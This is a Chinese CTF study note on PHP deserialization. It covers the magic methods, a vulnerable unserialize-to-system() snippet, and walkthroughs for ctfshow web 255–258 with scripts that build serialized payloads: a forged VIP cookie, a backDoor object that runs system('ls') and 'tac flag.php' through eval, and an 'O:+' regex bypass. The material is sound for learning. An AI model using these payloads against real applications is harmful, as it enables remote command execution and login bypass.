定义
序列化:将对象转换为数组或者字符串等格式,这让数据能在不同的系统、程序或网络之间持久化或传输,并在需要时重新还原(反序列化)
反序列化:将数组或字符串等格式转换为对象
魔术方法
学习反序列化最重要的就是了解魔术方法
__construct(): //当对象new的时候会自动调用
__destruct()://当对象被销毁时会被自动调用
__sleep(): //serialize()执行时被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用
__toString(): //把类当作字符串使用时触发
call(): //调用某个方法;若不存在,则会去调用call函数。
__callStatic(): //在静态上下文中调用不可访问的方法时触发
get(): //读取对象属性时,若不存在,则会调用get函数
set(): //设置对象的属性时,若不存在,则调用set函数。
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
出现漏洞的原因
一个类会被反序列化,并且可控
这个类存在危险行为,例如存在一些方法,可以对其进行攻击
<?php
class B{
public $cmd='';
public function __destruct(){
system($this->cmd);
}
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);
搞洞
//靶场:https://ctf.show/challenges ctfshow-web入门:254-258
Web-255
想要获取flag需要执行
vipOneKeyGetFlag()
,并且isVip=true发现反序列化
$user = unserialize($_COOKIE['user']
,抓包,构造Cookie:user=将下面代码执行结果放到cookie中,同时在url中传入username和password两个参数,拿下
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>
Web-256
额外增加条件,username != password,序列化时候改一下值
序列化程序,需要通过login()方法登陆成功,所以 get 传的值和序列化的值是一样的,即 ?username=cc&password=123
<?php
class ctfShowUser{
public $username='cc';
public $password='123';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>
Web-257
//魔术方法来了
发现危险方法在backDoor()类中,所以需要调用它
发现调用方法在_destruct(),同时需要控制_construct()让class变量变成backDoor
eval() 就是将括号中的代码放到 PHP 执行,先ls发现了flag.php,再将$code改成tac flag.php
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code='system("ls");';
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>
Web-258
和257相同,只是多了一个正则匹配
'/[oc]:\d+:/i'
,这个匹配的是O:11,为了绕过我们把O:变成O:+就可以了